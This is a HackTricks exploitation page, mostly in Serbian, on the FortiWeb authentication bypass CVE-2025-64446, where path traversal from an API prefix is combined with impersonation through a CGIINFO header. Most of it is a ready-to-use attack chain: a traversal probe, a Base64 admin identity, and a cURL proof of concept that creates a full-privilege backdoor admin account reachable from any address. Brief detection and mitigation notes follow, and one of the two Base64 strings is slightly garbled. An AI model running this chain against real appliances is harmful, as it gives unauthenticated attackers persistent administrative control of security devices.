Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Pregled

Fortinet FortiWeb izlaže centralizovani CGI dispatcher na /cgi-bin/fwbcgi. Lanac od dve ranjivosti omogućava neautentifikovanom daljinskom napadaču da:

  • Pristupi fwbcgi tako što URL započne važećim API prefiksom i izvrši traversiranje direktorijuma.
  • Imitira bilo kog korisnika (uključujući ugrađenog admin) slanjem posebnog HTTP zaglavlja koje CGI prihvata kao identitet.

Advisory proizvođača: FG‑IR‑25‑910 (CVE‑2025‑64446). Eksploatacija je primećena u divljini za kreiranje postojanih admin naloga.

Pogođene verzije (prema javno dostupnoj dokumentaciji):

  • 8.0 < 8.0.2
  • 7.6 < 7.6.5
  • 7.4 < 7.4.10
  • 7.2 < 7.2.12
  • 7.0 < 7.0.12
  • 6.4 ≤ 6.4.3
  • 6.3 ≤ 6.3.23

FortiWeb 8.0.2 vraća HTTP 403 za probe traversiranja ispod.

Brza proba ranjivosti

  • Path traversal from API prefix to fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
  • Tumačenje: HTTP 200 → verovatno ranjiv; HTTP 403 → zakrpljeno.

Lanac osnovnih uzroka

  1. API-prefix path traversal to internal CGI
  • Bilo koja putanja zahteva koja počinje važećim FortiWeb API prefiksom (npr. /api/v2.0/cmdb/ ili /api/v2.0/cmd/) može da iskoristi ../ da dođe do /cgi-bin/fwbcgi.
  1. Minimal-body validation bypass
  • Kada se dosegne fwbcgi, prvi filter vrši permisivnu proveru JSON-a zasnovanu na fajlu specifičnom za putanju pod /var/log/inputcheck/. Ako fajl ne postoji, provera odmah prolazi. Ako postoji, telo zahteva mora samo da bude validan JSON. Koristite {} kao minimalno važeće telo.
  1. Header-driven user impersonation
  • Program čita CGI environment varijablu HTTP_CGIINFO (izvedenu iz HTTP headera CGIINFO), dekodira je iz Base64, parsira JSON i kopira atribute direktno u login kontekst, postavljajući domain/VDOM. Ključevi od interesa:
  • username, loginname, vdom, profname
  • Primer JSON-a za lažno predstavljanje ugrađenog admina:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}

Base64 gore navedenog (kako se koristi u stvarnom svetu):

eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb201OiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==

End-to-end obrazac zloupotrebe (neautentifikovan → admin)

  1. Pristupite /cgi-bin/fwbcgi putem API-prefix traversal.
  2. Pošaljite bilo koje važeće JSON telo (npr. {}) da biste zadovoljili proveru ulaza.
  3. Pošaljite header CGIINFO: <base64(json)> gde JSON definiše ciljni identitet.
  4. POST-ujte backend JSON koji fwbcgi očekuje da biste izvršili privilegovane akcije (npr. kreiranje admin korisnika za persistence).

Minimal cURL PoC

  • Probe traversal exposure:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
  • Prerušite se kao admin i kreirajte novog local admin user:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='

curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'

Napomene:

  • Bilo koji važeći JSON body je dovoljan (npr. {}) ako /var/log/inputcheck/<path>.json ne postoji.
  • Action schema je FortiWeb-internal; primer gore dodaje lokalnog admina sa punim privilegijama.

Detection

  • Zahtevi koji stižu na /cgi-bin/fwbcgi preko API-prefix puteva koji sadrže ../ (npr. /api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi).
  • Prisutnost headera CGIINFO sa Base64 JSON-om koji sadrži ključeve username/loginname/vdom/profname.
  • Backend artefakti:
  • Po-put fajlovi pod /var/log/inputcheck/ (gate configuration).
  • Neočekivano kreiranje admin naloga i izmene konfiguracije.
  • Brza validacija: the traversal probe koja vraća 200 (exposed) naspram 403 (blocked in fixed builds).

Mitigation

  • Nadogradite na ispravljena izdanja (primeri: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) prema vendor advisory.
  • Dok se ne primeni zakrpa:
  • Ne izlažite FortiWeb management plane nepouzdanim mrežama.
  • Dodajte reverse-proxy/WAF pravila da blokiraju:
  • Putanje koje počinju sa /api/ i sadrže ../cgi-bin/fwbcgi.
  • Zahteve koji nose CGIINFO header.
  • Nadgledajte i alarmirajte na indikatore detekcije navedene iznad.

References

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks